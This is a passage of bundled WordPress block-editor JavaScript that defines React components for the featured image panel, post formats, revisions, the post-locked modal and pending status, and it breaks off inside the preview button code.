16302 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ThemeSupportCheck, { supportKeys: "post-thumbnails", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check_default, { supportKeys: "thumbnail", children }) });
16303}
16304var post_featured_image_check_check_default = PostFeaturedImageCheck;
16305
16306
16307;// ./node_modules/@wordpress/editor/build-module/components/post-featured-image/index.js
16308
16309
16310
16311
16312
16313
16314
16315
16316
16317
16318
16319
16320
16321const ALLOWED_MEDIA_TYPES = ["image"];
16322const DEFAULT_FEATURE_IMAGE_LABEL = (0,external_wp_i18n_namespaceObject.__)("Featured image");
16323const DEFAULT_SET_FEATURE_IMAGE_LABEL = (0,external_wp_i18n_namespaceObject.__)("Add a featured image");
16324const instructions = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
16325 "To edit the featured image, you need permission to upload media."
16326) });
16327function getMediaDetails(media, postId) {
16328 if (!media) {
16329 return {};
16330 }
16331 const defaultSize = (0,external_wp_hooks_namespaceObject.applyFilters)(
16332 "editor.PostFeaturedImage.imageSize",
16333 "large",
16334 media.id,
16335 postId
16336 );
16337 if (defaultSize in (media?.media_details?.sizes ?? {})) {
16338 return {
16339 mediaWidth: media.media_details.sizes[defaultSize].width,
16340 mediaHeight: media.media_details.sizes[defaultSize].height,
16341 mediaSourceUrl: media.media_details.sizes[defaultSize].source_url
16342 };
16343 }
16344 const fallbackSize = (0,external_wp_hooks_namespaceObject.applyFilters)(
16345 "editor.PostFeaturedImage.imageSize",
16346 "thumbnail",
16347 media.id,
16348 postId
16349 );
16350 if (fallbackSize in (media?.media_details?.sizes ?? {})) {
16351 return {
16352 mediaWidth: media.media_details.sizes[fallbackSize].width,
16353 mediaHeight: media.media_details.sizes[fallbackSize].height,
16354 mediaSourceUrl: media.media_details.sizes[fallbackSize].source_url
16355 };
16356 }
16357 return {
16358 mediaWidth: media.media_details.width,
16359 mediaHeight: media.media_details.height,
16360 mediaSourceUrl: media.source_url
16361 };
16362}
16363function PostFeaturedImage({
16364 currentPostId,
16365 featuredImageId,
16366 onUpdateImage,
16367 onRemoveImage,
16368 media,
16369 postType,
16370 noticeUI,
16371 noticeOperations,
16372 isRequestingFeaturedImageMedia
16373}) {
16374 const returnsFocusRef = (0,external_wp_element_namespaceObject.useRef)(false);
16375 const [isLoading, setIsLoading] = (0,external_wp_element_namespaceObject.useState)(false);
16376 const { getSettings } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
16377 const { mediaSourceUrl } = getMediaDetails(media, currentPostId);
16378 function onDropFiles(filesList) {
16379 getSettings().mediaUpload({
16380 allowedTypes: ALLOWED_MEDIA_TYPES,
16381 filesList,
16382 onFileChange([image]) {
16383 if ((0,external_wp_blob_namespaceObject.isBlobURL)(image?.url)) {
16384 setIsLoading(true);
16385 return;
16386 }
16387 if (image) {
16388 onUpdateImage(image);
16389 }
16390 setIsLoading(false);
16391 },
16392 onError(message) {
16393 noticeOperations.removeAllNotices();
16394 noticeOperations.createErrorNotice(message);
16395 },
16396 multiple: false
16397 });
16398 }
16399 function getImageDescription(imageMedia) {
16400 if (imageMedia.alt_text) {
16401 return (0,external_wp_i18n_namespaceObject.sprintf)(
16402 // Translators: %s: The selected image alt text.
16403 (0,external_wp_i18n_namespaceObject.__)("Current image: %s"),
16404 imageMedia.alt_text
16405 );
16406 }
16407 return (0,external_wp_i18n_namespaceObject.sprintf)(
16408 // Translators: %s: The selected image filename.
16409 (0,external_wp_i18n_namespaceObject.__)(
16410 "The current image has no alternative text. The file name is: %s"
16411 ),
16412 imageMedia.media_details.sizes?.full?.file || imageMedia.slug
16413 );
16414 }
16415 function returnFocus(node) {
16416 if (returnsFocusRef.current && node) {
16417 node.focus();
16418 returnsFocusRef.current = false;
16419 }
16420 }
16421 const isMissingMedia = !isRequestingFeaturedImageMedia && !!featuredImageId && !media;
16422 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(post_featured_image_check_check_default, { children: [
16423 noticeUI,
16424 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-featured-image", children: [
16425 media && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16426 "div",
16427 {
16428 id: `editor-post-featured-image-${featuredImageId}-describedby`,
16429 className: "hidden",
16430 children: getImageDescription(media)
16431 }
16432 ),
16433 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.MediaUploadCheck, { fallback: instructions, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16434 external_wp_blockEditor_namespaceObject.MediaUpload,
16435 {
16436 title: postType?.labels?.featured_image || DEFAULT_FEATURE_IMAGE_LABEL,
16437 onSelect: onUpdateImage,
16438 unstableFeaturedImageFlow: true,
16439 allowedTypes: ALLOWED_MEDIA_TYPES,
16440 modalClass: "editor-post-featured-image__media-modal",
16441 render: ({ open }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-featured-image__container", children: [
16442 isMissingMedia ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16443 external_wp_components_namespaceObject.Notice,
16444 {
16445 status: "warning",
16446 isDismissible: false,
16447 children: (0,external_wp_i18n_namespaceObject.__)(
16448 "Could not retrieve the featured image data."
16449 )
16450 }
16451 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
16452 external_wp_components_namespaceObject.Button,
16453 {
16454 __next40pxDefaultSize: true,
16455 ref: returnFocus,
16456 className: !featuredImageId ? "editor-post-featured-image__toggle" : "editor-post-featured-image__preview",
16457 onClick: open,
16458 "aria-label": !featuredImageId ? null : (0,external_wp_i18n_namespaceObject.__)(
16459 "Edit or replace the featured image"
16460 ),
16461 "aria-describedby": !featuredImageId ? null : `editor-post-featured-image-${featuredImageId}-describedby`,
16462 "aria-haspopup": "dialog",
16463 disabled: isLoading,
16464 accessibleWhenDisabled: true,
16465 children: [
16466 !!featuredImageId && media && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16467 "img",
16468 {
16469 className: "editor-post-featured-image__preview-image",
16470 src: mediaSourceUrl,
16471 alt: getImageDescription(
16472 media
16473 )
16474 }
16475 ),
16476 (isLoading || isRequestingFeaturedImageMedia) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}),
16477 !featuredImageId && !isLoading && (postType?.labels?.set_featured_image || DEFAULT_SET_FEATURE_IMAGE_LABEL)
16478 ]
16479 }
16480 ),
16481 !!featuredImageId && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
16482 external_wp_components_namespaceObject.__experimentalHStack,
16483 {
16484 className: dist_clsx(
16485 "editor-post-featured-image__actions",
16486 {
16487 "editor-post-featured-image__actions-missing-image": isMissingMedia,
16488 "editor-post-featured-image__actions-is-requesting-image": isRequestingFeaturedImageMedia
16489 }
16490 ),
16491 children: [
16492 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16493 external_wp_components_namespaceObject.Button,
16494 {
16495 __next40pxDefaultSize: true,
16496 className: "editor-post-featured-image__action",
16497 onClick: open,
16498 "aria-haspopup": "dialog",
16499 variant: isMissingMedia ? "secondary" : void 0,
16500 children: (0,external_wp_i18n_namespaceObject.__)("Replace")
16501 }
16502 ),
16503 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16504 external_wp_components_namespaceObject.Button,
16505 {
16506 __next40pxDefaultSize: true,
16507 className: "editor-post-featured-image__action",
16508 onClick: () => {
16509 onRemoveImage();
16510 returnsFocusRef.current = true;
16511 },
16512 variant: isMissingMedia ? "secondary" : void 0,
16513 isDestructive: isMissingMedia,
16514 children: (0,external_wp_i18n_namespaceObject.__)("Remove")
16515 }
16516 )
16517 ]
16518 }
16519 ),
16520 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropZone, { onFilesDrop: onDropFiles })
16521 ] }),
16522 value: featuredImageId
16523 }
16524 ) })
16525 ] })
16526 ] });
16527}
16528const applyWithSelect = (0,external_wp_data_namespaceObject.withSelect)((select) => {
16529 const { getEntityRecord, getPostType, hasFinishedResolution } = select(external_wp_coreData_namespaceObject.store);
16530 const { getCurrentPostId, getEditedPostAttribute } = select(store_store);
16531 const featuredImageId = getEditedPostAttribute("featured_media");
16532 return {
16533 media: featuredImageId ? getEntityRecord("postType", "attachment", featuredImageId, {
16534 context: "view"
16535 }) : null,
16536 currentPostId: getCurrentPostId(),
16537 postType: getPostType(getEditedPostAttribute("type")),
16538 featuredImageId,
16539 isRequestingFeaturedImageMedia: !!featuredImageId && !hasFinishedResolution("getEntityRecord", [
16540 "postType",
16541 "attachment",
16542 featuredImageId,
16543 { context: "view" }
16544 ])
16545 };
16546});
16547const applyWithDispatch = (0,external_wp_data_namespaceObject.withDispatch)(
16548 (dispatch, { noticeOperations }, { select }) => {
16549 const { editPost } = dispatch(store_store);
16550 return {
16551 onUpdateImage(image) {
16552 editPost({ featured_media: image.id });
16553 },
16554 onDropImage(filesList) {
16555 select(external_wp_blockEditor_namespaceObject.store).getSettings().mediaUpload({
16556 allowedTypes: ["image"],
16557 filesList,
16558 onFileChange([image]) {
16559 editPost({ featured_media: image.id });
16560 },
16561 onError(message) {
16562 noticeOperations.removeAllNotices();
16563 noticeOperations.createErrorNotice(message);
16564 },
16565 multiple: false
16566 });
16567 },
16568 onRemoveImage() {
16569 editPost({ featured_media: 0 });
16570 }
16571 };
16572 }
16573);
16574var post_featured_image_default = (0,external_wp_compose_namespaceObject.compose)(
16575 external_wp_components_namespaceObject.withNotices,
16576 applyWithSelect,
16577 applyWithDispatch,
16578 (0,external_wp_components_namespaceObject.withFilters)("editor.PostFeaturedImage")
16579)(PostFeaturedImage);
16580
16581
16582;// ./node_modules/@wordpress/editor/build-module/components/post-featured-image/panel.js
16583
16584
16585
16586
16587
16588
16589
16590
16591const post_featured_image_panel_PANEL_NAME = "featured-image";
16592function PostFeaturedImagePanel({ withPanelBody = true }) {
16593 const { postType, isEnabled, isOpened } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
16594 const {
16595 getEditedPostAttribute,
16596 isEditorPanelEnabled,
16597 isEditorPanelOpened
16598 } = select(store_store);
16599 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
16600 return {
16601 postType: getPostType(getEditedPostAttribute("type")),
16602 isEnabled: isEditorPanelEnabled(post_featured_image_panel_PANEL_NAME),
16603 isOpened: isEditorPanelOpened(post_featured_image_panel_PANEL_NAME)
16604 };
16605 }, []);
16606 const { toggleEditorPanelOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
16607 if (!isEnabled) {
16608 return null;
16609 }
16610 if (!withPanelBody) {
16611 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_featured_image_check_check_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_featured_image_default, {}) });
16612 }
16613 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_featured_image_check_check_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16614 external_wp_components_namespaceObject.PanelBody,
16615 {
16616 title: postType?.labels?.featured_image ?? (0,external_wp_i18n_namespaceObject.__)("Featured image"),
16617 opened: isOpened,
16618 onToggle: () => toggleEditorPanelOpened(post_featured_image_panel_PANEL_NAME),
16619 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_featured_image_default, {})
16620 }
16621 ) });
16622}
16623
16624
16625;// ./node_modules/@wordpress/editor/build-module/components/post-format/check.js
16626
16627
16628
16629
16630function PostFormatCheck({ children }) {
16631 const disablePostFormats = (0,external_wp_data_namespaceObject.useSelect)(
16632 (select) => select(store_store).getEditorSettings().disablePostFormats,
16633 []
16634 );
16635 if (disablePostFormats) {
16636 return null;
16637 }
16638 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check_default, { supportKeys: "post-formats", children });
16639}
16640
16641
16642;// ./node_modules/@wordpress/editor/build-module/components/post-format/index.js
16643
16644
16645
16646
16647
16648
16649
16650
16651const POST_FORMATS = [
16652 { id: "aside", caption: (0,external_wp_i18n_namespaceObject.__)("Aside") },
16653 { id: "audio", caption: (0,external_wp_i18n_namespaceObject.__)("Audio") },
16654 { id: "chat", caption: (0,external_wp_i18n_namespaceObject.__)("Chat") },
16655 { id: "gallery", caption: (0,external_wp_i18n_namespaceObject.__)("Gallery") },
16656 { id: "image", caption: (0,external_wp_i18n_namespaceObject.__)("Image") },
16657 { id: "link", caption: (0,external_wp_i18n_namespaceObject.__)("Link") },
16658 { id: "quote", caption: (0,external_wp_i18n_namespaceObject.__)("Quote") },
16659 { id: "standard", caption: (0,external_wp_i18n_namespaceObject.__)("Standard") },
16660 { id: "status", caption: (0,external_wp_i18n_namespaceObject.__)("Status") },
16661 { id: "video", caption: (0,external_wp_i18n_namespaceObject.__)("Video") }
16662].sort((a, b) => {
16663 const normalizedA = a.caption.toUpperCase();
16664 const normalizedB = b.caption.toUpperCase();
16665 if (normalizedA < normalizedB) {
16666 return -1;
16667 }
16668 if (normalizedA > normalizedB) {
16669 return 1;
16670 }
16671 return 0;
16672});
16673function PostFormat() {
16674 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(PostFormat);
16675 const postFormatSelectorId = `post-format-selector-${instanceId}`;
16676 const { postFormat, suggestedFormat, supportedFormats } = (0,external_wp_data_namespaceObject.useSelect)(
16677 (select) => {
16678 const { getEditedPostAttribute, getSuggestedPostFormat } = select(store_store);
16679 const _postFormat = getEditedPostAttribute("format");
16680 const themeSupports = select(external_wp_coreData_namespaceObject.store).getThemeSupports();
16681 return {
16682 postFormat: _postFormat ?? "standard",
16683 suggestedFormat: getSuggestedPostFormat(),
16684 supportedFormats: themeSupports.formats
16685 };
16686 },
16687 []
16688 );
16689 const formats = POST_FORMATS.filter((format) => {
16690 return supportedFormats?.includes(format.id) || postFormat === format.id;
16691 });
16692 const suggestion = formats.find(
16693 (format) => format.id === suggestedFormat
16694 );
16695 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
16696 const onUpdatePostFormat = (format) => editPost({ format });
16697 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostFormatCheck, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-format", children: [
16698 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16699 external_wp_components_namespaceObject.RadioControl,
16700 {
16701 className: "editor-post-format__options",
16702 label: (0,external_wp_i18n_namespaceObject.__)("Post Format"),
16703 selected: postFormat,
16704 onChange: (format) => onUpdatePostFormat(format),
16705 id: postFormatSelectorId,
16706 options: formats.map((format) => ({
16707 label: format.caption,
16708 value: format.id
16709 })),
16710 hideLabelFromVision: true
16711 }
16712 ),
16713 suggestion && suggestion.id !== postFormat && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "editor-post-format__suggestion", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16714 external_wp_components_namespaceObject.Button,
16715 {
16716 __next40pxDefaultSize: true,
16717 variant: "link",
16718 onClick: () => onUpdatePostFormat(suggestion.id),
16719 children: (0,external_wp_i18n_namespaceObject.sprintf)(
16720 /* translators: %s: post format */
16721 (0,external_wp_i18n_namespaceObject.__)("Apply suggested format: %s"),
16722 suggestion.caption
16723 )
16724 }
16725 ) })
16726 ] }) });
16727}
16728
16729
16730;// ./node_modules/@wordpress/editor/build-module/components/post-last-revision/check.js
16731
16732
16733
16734
16735function PostLastRevisionCheck({ children }) {
16736 const { lastRevisionId, revisionsCount } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
16737 const { getCurrentPostLastRevisionId, getCurrentPostRevisionsCount } = select(store_store);
16738 return {
16739 lastRevisionId: getCurrentPostLastRevisionId(),
16740 revisionsCount: getCurrentPostRevisionsCount()
16741 };
16742 }, []);
16743 if (!lastRevisionId || revisionsCount < 2) {
16744 return null;
16745 }
16746 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_type_support_check_default, { supportKeys: "revisions", children });
16747}
16748var post_last_revision_check_check_default = PostLastRevisionCheck;
16749
16750
16751;// ./node_modules/@wordpress/editor/build-module/components/post-last-revision/index.js
16752
16753
16754
16755
16756
16757
16758
16759
16760
16761function usePostLastRevisionInfo() {
16762 return (0,external_wp_data_namespaceObject.useSelect)((select) => {
16763 const { getCurrentPostLastRevisionId, getCurrentPostRevisionsCount } = select(store_store);
16764 return {
16765 lastRevisionId: getCurrentPostLastRevisionId(),
16766 revisionsCount: getCurrentPostRevisionsCount()
16767 };
16768 }, []);
16769}
16770function PostLastRevision() {
16771 const { lastRevisionId, revisionsCount } = usePostLastRevisionInfo();
16772 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_last_revision_check_check_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16773 external_wp_components_namespaceObject.Button,
16774 {
16775 __next40pxDefaultSize: true,
16776 href: (0,external_wp_url_namespaceObject.addQueryArgs)("revision.php", {
16777 revision: lastRevisionId
16778 }),
16779 className: "editor-post-last-revision__title",
16780 icon: backup_default,
16781 iconPosition: "right",
16782 text: (0,external_wp_i18n_namespaceObject.sprintf)(
16783 /* translators: %s: number of revisions. */
16784 (0,external_wp_i18n_namespaceObject.__)("Revisions (%s)"),
16785 revisionsCount
16786 )
16787 }
16788 ) });
16789}
16790function PrivatePostLastRevision() {
16791 const { lastRevisionId, revisionsCount } = usePostLastRevisionInfo();
16792 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_last_revision_check_check_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row_default, { label: (0,external_wp_i18n_namespaceObject.__)("Revisions"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16793 external_wp_components_namespaceObject.Button,
16794 {
16795 href: (0,external_wp_url_namespaceObject.addQueryArgs)("revision.php", {
16796 revision: lastRevisionId
16797 }),
16798 className: "editor-private-post-last-revision__button",
16799 text: revisionsCount,
16800 variant: "tertiary",
16801 size: "compact"
16802 }
16803 ) }) });
16804}
16805var post_last_revision_default = PostLastRevision;
16806
16807
16808;// ./node_modules/@wordpress/editor/build-module/components/post-last-revision/panel.js
16809
16810
16811
16812
16813function PostLastRevisionPanel() {
16814 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_last_revision_check_check_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, { className: "editor-post-last-revision__panel", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_last_revision_default, {}) }) });
16815}
16816var panel_panel_default = PostLastRevisionPanel;
16817
16818
16819;// ./node_modules/@wordpress/editor/build-module/components/post-locked-modal/index.js
16820
16821
16822
16823
16824
16825
16826
16827
16828
16829
16830function PostLockedModal() {
16831 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(PostLockedModal);
16832 const hookName = "core/editor/post-locked-modal-" + instanceId;
16833 const { autosave, updatePostLock } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
16834 const {
16835 isLocked,
16836 isTakeover,
16837 user,
16838 postId,
16839 postLockUtils,
16840 activePostLock,
16841 postType,
16842 previewLink
16843 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
16844 const {
16845 isPostLocked,
16846 isPostLockTakeover,
16847 getPostLockUser,
16848 getCurrentPostId,
16849 getActivePostLock,
16850 getEditedPostAttribute,
16851 getEditedPostPreviewLink,
16852 getEditorSettings
16853 } = select(store_store);
16854 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
16855 return {
16856 isLocked: isPostLocked(),
16857 isTakeover: isPostLockTakeover(),
16858 user: getPostLockUser(),
16859 postId: getCurrentPostId(),
16860 postLockUtils: getEditorSettings().postLockUtils,
16861 activePostLock: getActivePostLock(),
16862 postType: getPostType(getEditedPostAttribute("type")),
16863 previewLink: getEditedPostPreviewLink()
16864 };
16865 }, []);
16866 (0,external_wp_element_namespaceObject.useEffect)(() => {
16867 function sendPostLock(data) {
16868 if (isLocked) {
16869 return;
16870 }
16871 data["wp-refresh-post-lock"] = {
16872 lock: activePostLock,
16873 post_id: postId
16874 };
16875 }
16876 function receivePostLock(data) {
16877 if (!data["wp-refresh-post-lock"]) {
16878 return;
16879 }
16880 const received = data["wp-refresh-post-lock"];
16881 if (received.lock_error) {
16882 autosave();
16883 updatePostLock({
16884 isLocked: true,
16885 isTakeover: true,
16886 user: {
16887 name: received.lock_error.name,
16888 avatar: received.lock_error.avatar_src_2x
16889 }
16890 });
16891 } else if (received.new_lock) {
16892 updatePostLock({
16893 isLocked: false,
16894 activePostLock: received.new_lock
16895 });
16896 }
16897 }
16898 function releasePostLock() {
16899 if (isLocked || !activePostLock) {
16900 return;
16901 }
16902 const data = new window.FormData();
16903 data.append("action", "wp-remove-post-lock");
16904 data.append("_wpnonce", postLockUtils.unlockNonce);
16905 data.append("post_ID", postId);
16906 data.append("active_post_lock", activePostLock);
16907 if (window.navigator.sendBeacon) {
16908 window.navigator.sendBeacon(postLockUtils.ajaxUrl, data);
16909 } else {
16910 const xhr = new window.XMLHttpRequest();
16911 xhr.open("POST", postLockUtils.ajaxUrl, false);
16912 xhr.send(data);
16913 }
16914 }
16915 (0,external_wp_hooks_namespaceObject.addAction)("heartbeat.send", hookName, sendPostLock);
16916 (0,external_wp_hooks_namespaceObject.addAction)("heartbeat.tick", hookName, receivePostLock);
16917 window.addEventListener("beforeunload", releasePostLock);
16918 return () => {
16919 (0,external_wp_hooks_namespaceObject.removeAction)("heartbeat.send", hookName);
16920 (0,external_wp_hooks_namespaceObject.removeAction)("heartbeat.tick", hookName);
16921 window.removeEventListener("beforeunload", releasePostLock);
16922 };
16923 }, []);
16924 if (!isLocked) {
16925 return null;
16926 }
16927 const userDisplayName = user.name;
16928 const userAvatar = user.avatar;
16929 const unlockUrl = (0,external_wp_url_namespaceObject.addQueryArgs)("post.php", {
16930 "get-post-lock": "1",
16931 lockKey: true,
16932 post: postId,
16933 action: "edit",
16934 _wpnonce: postLockUtils.nonce
16935 });
16936 const allPostsUrl = (0,external_wp_url_namespaceObject.addQueryArgs)("edit.php", {
16937 post_type: postType?.slug
16938 });
16939 const allPostsLabel = (0,external_wp_i18n_namespaceObject.__)("Exit editor");
16940 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16941 external_wp_components_namespaceObject.Modal,
16942 {
16943 title: isTakeover ? (0,external_wp_i18n_namespaceObject.__)("Someone else has taken over this post") : (0,external_wp_i18n_namespaceObject.__)("This post is already being edited"),
16944 focusOnMount: true,
16945 shouldCloseOnClickOutside: false,
16946 shouldCloseOnEsc: false,
16947 isDismissible: false,
16948 className: "editor-post-locked-modal",
16949 size: "medium",
16950 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "top", spacing: 6, children: [
16951 !!userAvatar && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
16952 "img",
16953 {
16954 src: userAvatar,
16955 alt: (0,external_wp_i18n_namespaceObject.__)("Avatar"),
16956 className: "editor-post-locked-modal__avatar",
16957 width: 64,
16958 height: 64
16959 }
16960 ),
16961 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { children: [
16962 !!isTakeover && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_element_namespaceObject.createInterpolateElement)(
16963 userDisplayName ? (0,external_wp_i18n_namespaceObject.sprintf)(
16964 /* translators: %s: user's display name */
16965 (0,external_wp_i18n_namespaceObject.__)(
16966 "<strong>%s</strong> now has editing control of this post (<PreviewLink />). Don\u2019t worry, your changes up to this moment have been saved."
16967 ),
16968 userDisplayName
16969 ) : (0,external_wp_i18n_namespaceObject.__)(
16970 "Another user now has editing control of this post (<PreviewLink />). Don\u2019t worry, your changes up to this moment have been saved."
16971 ),
16972 {
16973 strong: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", {}),
16974 PreviewLink: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { href: previewLink, children: (0,external_wp_i18n_namespaceObject.__)("preview") })
16975 }
16976 ) }),
16977 !isTakeover && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
16978 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_element_namespaceObject.createInterpolateElement)(
16979 userDisplayName ? (0,external_wp_i18n_namespaceObject.sprintf)(
16980 /* translators: %s: user's display name */
16981 (0,external_wp_i18n_namespaceObject.__)(
16982 "<strong>%s</strong> is currently working on this post (<PreviewLink />), which means you cannot make changes, unless you take over."
16983 ),
16984 userDisplayName
16985 ) : (0,external_wp_i18n_namespaceObject.__)(
16986 "Another user is currently working on this post (<PreviewLink />), which means you cannot make changes, unless you take over."
16987 ),
16988 {
16989 strong: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", {}),
16990 PreviewLink: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { href: previewLink, children: (0,external_wp_i18n_namespaceObject.__)("preview") })
16991 }
16992 ) }),
16993 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
16994 "If you take over, the other user will lose editing control to the post, but their changes will be saved."
16995 ) })
16996 ] }),
16997 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
16998 external_wp_components_namespaceObject.__experimentalHStack,
16999 {
17000 className: "editor-post-locked-modal__buttons",
17001 justify: "flex-end",
17002 children: [
17003 !isTakeover && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17004 external_wp_components_namespaceObject.Button,
17005 {
17006 __next40pxDefaultSize: true,
17007 variant: "tertiary",
17008 href: unlockUrl,
17009 children: (0,external_wp_i18n_namespaceObject.__)("Take over")
17010 }
17011 ),
17012 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17013 external_wp_components_namespaceObject.Button,
17014 {
17015 __next40pxDefaultSize: true,
17016 variant: "primary",
17017 href: allPostsUrl,
17018 children: allPostsLabel
17019 }
17020 )
17021 ]
17022 }
17023 )
17024 ] })
17025 ] })
17026 }
17027 );
17028}
17029var post_locked_modal_default = false ? 0 : PostLockedModal;
17030
17031
17032;// ./node_modules/@wordpress/editor/build-module/components/post-pending-status/check.js
17033
17034
17035function PostPendingStatusCheck({ children }) {
17036 const { hasPublishAction, isPublished } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
17037 const { isCurrentPostPublished, getCurrentPost } = select(store_store);
17038 return {
17039 hasPublishAction: getCurrentPost()._links?.["wp:action-publish"] ?? false,
17040 isPublished: isCurrentPostPublished()
17041 };
17042 }, []);
17043 if (isPublished || !hasPublishAction) {
17044 return null;
17045 }
17046 return children;
17047}
17048var post_pending_status_check_check_default = PostPendingStatusCheck;
17049
17050
17051;// ./node_modules/@wordpress/editor/build-module/components/post-pending-status/index.js
17052
17053
17054
17055
17056
17057
17058function PostPendingStatus() {
17059 const status = (0,external_wp_data_namespaceObject.useSelect)(
17060 (select) => select(store_store).getEditedPostAttribute("status"),
17061 []
17062 );
17063 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
17064 const togglePendingStatus = () => {
17065 const updatedStatus = status === "pending" ? "draft" : "pending";
17066 editPost({ status: updatedStatus });
17067 };
17068 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_pending_status_check_check_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17069 external_wp_components_namespaceObject.CheckboxControl,
17070 {
17071 __nextHasNoMarginBottom: true,
17072 label: (0,external_wp_i18n_namespaceObject.__)("Pending review"),
17073 checked: status === "pending",
17074 onChange: togglePendingStatus
17075 }
17076 ) });
17077}
17078var post_pending_status_default = PostPendingStatus;
17079
17080
17081;// ./node_modules/@wordpress/editor/build-module/components/post-preview-button/index.js
17082
17083
17084
17085
17086
17087
17088
17089
17090function writeInterstitialMessage(targetDocument) {
17091 let markup = (0,external_wp_element_namespaceObject.renderToString)(
17092 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-preview-button__interstitial-message", children: [
17093 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 96 96", children: [
17094 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
17095 external_wp_components_namespaceObject.Path,
17096 {
17097 className: "outer",
